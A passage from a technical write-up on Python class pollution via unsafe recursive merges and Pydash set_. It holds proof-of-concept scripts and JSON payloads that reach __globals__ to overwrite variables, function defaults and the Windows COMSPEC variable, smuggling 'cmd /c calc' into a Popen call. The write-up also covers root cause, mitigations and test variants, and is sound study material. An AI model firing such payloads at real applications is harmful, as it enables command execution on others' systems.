mergefunction is unchanged. emp_infowalks__class__, then__base__twice, then setscustom_commandtowhoami.whoamiis a standard command that prints the current user's name.recruiter_emp = Recruiter()andsystem_admin_emp = SystemAdmin()build one object of each class.- The first
printrunsexecute_commandbefore the merge, so it uses the harmless default and printsHello there. merge(emp_info, recruiter_emp)pollutes the shared parent classEmployeewith acustom_commandattribute.- The second
printrunsexecute_commandagain. This time theSystemAdminobject findscustom_commandthrough inheritance fromEmployee, so it runswhoamiinstead.
Setting custom_command on Employee means that when a SystemAdmin instance looks for that attribute, it finds it through inheritance. Whether the Recruiter instance was created before or after the merge does not matter, because the class itself is polluted and the change is reflected on existing and new instances. The only ordering requirement is that the gadget is invoked after the pollution.
Step 6: escaping the class hierarchy with __globals__
Pollution is not limited to the instance's classes and their attributes. The __globals__ attribute is, per the Python documentation, "A reference to the dictionary that holds the function's global variables, the global namespace of the module in which the function was defined." It gives access to defined variables, imported modules and so on. To access items of __globals__, the merge function must use __getitem__.
__globals__ is reachable from any defined method of the instance, such as __init__. Any defined method works, but __init__ is the most likely to exist on every class since it is the constructor. Built-in methods inherited from object, such as __str__, cannot be used unless they were overridden. <instance>.__init__, <instance>.__class__.__init__ and <class>.__init__ are all the same and point to the same class constructor.
The rule of thumb: if there is a chain of attributes/items (based on what the merge function supports) from the controlled object to any attribute or variable, it can be overwritten. This greatly increases the attack surface when looking for gadgets.
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable)
print(NotAccessibleClass)
#> Polluted variable
#> <class '__main__.PollutedClass'>
Line by line:
- The
mergefunction is unchanged. class User:withdef __init__(self): passdefines a class whose constructor does nothing. The constructor is the method that runs when an object is created.class NotAccessibleClass: passdefines an unrelated class that the attacker's object has no direct link to.not_accessible_variable = 'Hello'is a plain variable sitting at the top level of the script.- The
mergecall passes a dictionary whose path is__class__, then__init__, then__globals__, then two changes: renamenot_accessible_variableand renameNotAccessibleClass. print(not_accessible_variable)shows the variable is nowPolluted variable.print(NotAccessibleClass)shows the unrelated class is now calledPollutedClass.
NotAccessibleClass and not_accessible_variable would not be reachable otherwise: the class is not a parent of the controlled instance and the variable is not an attribute of the controlled class. The chain through __globals__ makes both reachable.
Step 7: Pydash set_ and set_with
Pydash is the Python implementation of Lodash, and Lodash is one of the JavaScript libraries where Prototype Pollution was discovered and reported more than once. Pydash's set_ and set_with are recursive merge-style functions that can be used to pollute attributes. Both allow moving between an object's attributes and dictionary items and setting them, which is the most useful case. They take the object, the path of the attribute/item to set, and the value.
All the previous examples work with set_ and set_with instead of the hand-written merge function. The difference is that Pydash uses dot notation, ((<attribute>|<item>).)*(<attribute>|<item>), rather than the JSON format.
import pydash
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable)
pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass)
#> Polluted variable
#> <class '__main__.PollutedClass'>
Line by line:
import pydashloads the Pydash library so its functions can be used.class User:with an empty__init__defines the object the attacker controls.class NotAccessibleClass: passandnot_accessible_variable = 'Hello'are the unrelated class and variable from before.pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')tells Pydash: start from a newUserobject, follow the dotted path to the global variable, and set it toPolluted variable.print(not_accessible_variable)shows the change.- The second
pydash.set_follows a similar path to the unrelated class and renames it toPollutedClass. print(NotAccessibleClass)shows the renamed class.
Step 8: gadget, subprocess.Popen on Windows
As with Prototype Pollution, impact depends on the application and the available gadgets, ranging from DoS by crashing the application to command execution. The first gadget targets subprocess.Popen on Windows. The script merges attacker-controlled JSON into a new Employee instance, then runs a hard-coded whoami through Popen. The goal is to hijack Popen so it runs arbitrary commands instead.
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"name": "employee"}') # attacker-controlled value
merge(emp_info, Employee())
subprocess.Popen('whoami', shell=True)
Line by line:
import subprocess, jsonloads two modules:subprocessruns other programs,jsonreads JSON text. JSON is a common text format for structured data, made of keys and values.class Employee:with an empty__init__defines the object the attacker controls.- The
mergefunction is unchanged. emp_info = json.loads('{"name": "employee"}')turns a JSON string into a Python dictionary. The comment marks it as the value an attacker could supply.merge(emp_info, Employee())copies that dictionary onto a fresh object.subprocess.Popen('whoami', shell=True)runs thewhoamicommand through the system shell. Theshell=Truepart means "run this through the operating system's command interpreter".
Looking at the subprocess module source for Windows, the relevant part is:
if shell:
startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = _winapi.SW_HIDE
comspec = os.environ.get("COMSPEC", "cmd.exe")
args = '{} /c "{}"'.format (comspec, args)
Line by line:
if shell:checks whether the caller asked for shell execution.- The two
startupinfolines set window display options for the new process. comspec = os.environ.get("COMSPEC", "cmd.exe")looks up the environment variableCOMSPEC, which normally holds the path to the Windows command interpreter, and falls back tocmd.exeif it is not set. An environment variable is a named setting the operating system keeps for programs.args = '{} /c "{}"'.format (comspec, args)builds the final command line by putting the interpreter path in front of the command.
When shell is True, the code reads the path of cmd.exe from the COMSPEC environment variable and runs C:\WINDOWS\system32\cmd.exe /c <command>. If COMSPEC is not defined, the local variable comspec (not the environment variable) is set to cmd.exe. Controlling COMSPEC in os.environ therefore allows injecting arbitrary commands.
The chain is:
- Access any method of the
Employeeinstance other than the built-in ones to reach__globals__; here it is__init__. - Through
__globals__, reach thesubprocessmodule imported in the script. - The first lines of
subprocessimport theosmodule, which is needed to reachenviron. Ifoswere already imported in the script, it could be reached directly via__init__.__globals__.oswithout going throughsubprocess. - From the
osmodule, overwriteCOMSPECinsideenvironto inject a command.
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Line by line:
- The imports, the class and the
mergefunction are the same as before. emp_info = json.loads(...)builds a nested dictionary whose path is__init__, then__globals__, thensubprocess, thenos, thenenviron, thenCOMSPEC, with the valuecmd /c calc.calcis the Windows calculator program.merge(emp_info, Employee())walks that path and overwrites theCOMSPECenvironment variable.subprocess.Popen('whoami', shell=True)still asks to runwhoami, but becauseCOMSPECnow points tocmd /c calc, the calculator opens instead.
Step 9: gadget, overwriting a function's __kwdefaults__
__kwdefaults__ is a special attribute of all functions: per the Python documentation, a "mapping of any default values for keyword-only parameters". Polluting it controls the default values of keyword-only parameters, the ones after * or *args.
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def print_message(*, message='Hello there'):
print(message)
print(print_message.__kwdefaults__)
print_message()
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(print_message.__kwdefaults__)
print_message()
#> {'message': 'Hello there'}
#> Hello there
#> {'message': 'Polluted default value'}
#> Polluted default value
Line by line:
import jsonloads the JSON module.- The
mergefunction and the emptyEmployeeclass are the same as before. def print_message(*, message='Hello there'):defines a function whosemessageparameter is keyword-only, meaning it must be passed by name. Its default isHello there.print(print_message.__kwdefaults__)shows the stored defaults, which is{'message': 'Hello there'}.print_message()calls the function without arguments, so it printsHello there.emp_info = json.loads(...)builds a path from__class__to__init__to__globals__to theprint_messagefunction to its__kwdefaults__, settingmessagetoPolluted default value.merge(emp_info, Employee())applies the change.- The final prints show the stored default and the function's output have both changed.
__defaults__ is a tuple holding defaults for positional-or-keyword parameters, and polluting it would be useful, but it is not possible when the attacker-controlled input is parsed as JSON, because JSON has no tuples ().
Step 10: other gadgets
The author lists two more without full examples: overwriting a Flask web app's secret key used for session signing, and path hijacking via os.environ.
Root cause
The mistake is a recursive merge that takes untrusted input and uses it to set attributes (and items) on an object without restricting which keys may be traversed. Because Python exposes special attributes such as __class__, __base__, __init__ and __globals__, a key that looks like data can walk from the instance into its class, into parent classes, and through a method's globals into module-level variables and imported modules. The same input that should only populate fields like name and age can therefore rewrite class attributes and global state.
Existing defences did not stop it because Python's own protection only covers immutable types: object, str, int, dict and similar cannot be modified, which is why object.__qualname__ fails. Everything else in the chain is mutable, so the restriction only narrows the target set rather than preventing the attack. The author notes that a merge function which only sets dictionary items via __getitem__ and __setitem__ is usually not exploitable, since special attributes cannot be reached that way; the dangerous case is a function that also sets attributes, or that supports both attributes and items.
Impact
The impact depends on the application and the gadgets available, ranging from denial of service by crashing the application to command execution. The author is explicit that a full exploit leading to RCE had not been found at the time of writing, although vulnerable merge functions were found in various open-source projects. The demonstrated command execution gadgets are proof-of-concept scripts: the subprocess.Popen one works on Windows only. The __globals__ chain widens the attack surface considerably, because it allows reaching classes and variables that are not in the controlled instance's inheritance chain.
Fix
The report does not describe a fix applied to any project. The implied mitigation is to constrain what a recursive merge may traverse: reject or ignore keys that resolve to special attributes such as __class__, __base__, __globals__ and __kwdefaults__, and avoid using attacker-controlled keys to set attributes on arbitrary objects. A merge that only sets items of a plain dictionary, without attribute access, avoids the class and globals traversal described here.
Variants to test
- Recursive merge into an object. Feed a JSON body with a
__class__key into any endpoint that merges input into an object. A positive result is that the class's__qualname__changes, visible in the object's repr or in error messages. - Parent class traversal. Add nested
__base__keys to reach a parent class. A positive result is that a parent class's attribute changes while the instance's own class is untouched. - Sibling class gadget. If two classes share a parent, merge into an instance of one and look for a method on the other that reads an attribute it does not define. A positive result is that the method picks up the polluted value from the shared parent.
- Globals escape. Use
__class__.__init__.__globals__to reach module-level variables and imported modules. A positive result is that a global variable or an unrelated class changes. - Pydash
set_andset_with. Where these functions process user input, pass dot-notation paths such as__class__.__init__.__globals__.<name>. A positive result is the same pollution as with a hand-written merge. - Environment variable hijack. On Windows, pollute
COMSPECthrough__globals__.subprocess.os.environbefore aPopen(..., shell=True)call. A positive result is that the injected command runs instead of the intended one. - Keyword-only defaults. Pollute a function's
__kwdefaults__through globals. A positive result is that calling the function without the keyword argument uses the polluted default. - Flask secret key and path hijacking. Try overwriting the Flask secret key used for session signing, and try path hijacking via
os.environ. Try overwriting the Flask secret key used for session signing, and try path hijacking viaos.environ.
Glossary
- API: a defined way for one piece of software to talk to another, like a service counter where you ask for something by name.
- Attribute: a named piece of information attached to an object or class, such as a name or an age.
- Class: a blueprint in a program that describes what a kind of object contains and can do.
- Class Pollution: the Python variant of Prototype Pollution described here, where attacker input changes a class or its parent classes instead of a prototype.
- Client-side: code that runs in the user's browser rather than on a server.
- Constructor: the method that runs when a new object is created, usually named
__init__in Python. - Denial of service (DoS): making a service or program unusable, for example by crashing it.
- Dictionary: a collection of key/value pairs, where each label points to a value.
- Dunder method: a special method with double underscores on both sides, such as
__str__, that Python calls automatically in certain situations. - Environment variable: a named setting kept by the operating system and readable by programs, such as
COMSPEC. - Function: a reusable block of code that performs a task when called.
- Gadget: an existing piece of code in an application that an attacker can abuse to turn a small change into a bigger effect, such as running a command.
- Immutable: unable to be changed after creation, such as
object,str,intanddictclasses in Python. - Inheritance: the way a child class automatically receives the attributes and methods of a parent class.
- Instance: one concrete object built from a class.
- JSON: a common text format for structured data made of keys and values.
- Keyword-only parameter: a function parameter that must be passed by name, written after
*in the definition. - Lodash: a popular JavaScript library of utility functions, including merge functions.
- Method: a named action an object or class can perform.
- Module: a file of ready-made code that a program can import and use.
- Mutable: able to be changed after creation.
- Object: one concrete thing in a program, built from a class.
- Object injection: a vulnerability where attacker input is written into an object's fields.
- Popen: a Python helper in the
subprocessmodule that starts another program. - Prototype: in JavaScript, the mechanism by which objects inherit features from one another.
- Prototype Pollution: a vulnerability where an attacker modifies
Object.prototype, affecting nearly all objects in JavaScript. - Pydash: the Python port of Lodash, providing similar utility functions such as
set_andset_with. - RCE (remote code execution): an attacker running their own commands on someone else's machine.
- Recursive: a function that calls itself to go deeper into nested data.
- Server-side: code that runs on a server rather than in the user's browser.
- Shell: the operating system's command interpreter, such as
cmd.exeon Windows. - Special attribute: an attribute every Python object has for a specific purpose, such as
__class__,__base__or__globals__. - Tuple: an ordered, unchangeable group of values in Python, written with round brackets.
- Variable: a named place in a program that holds a value.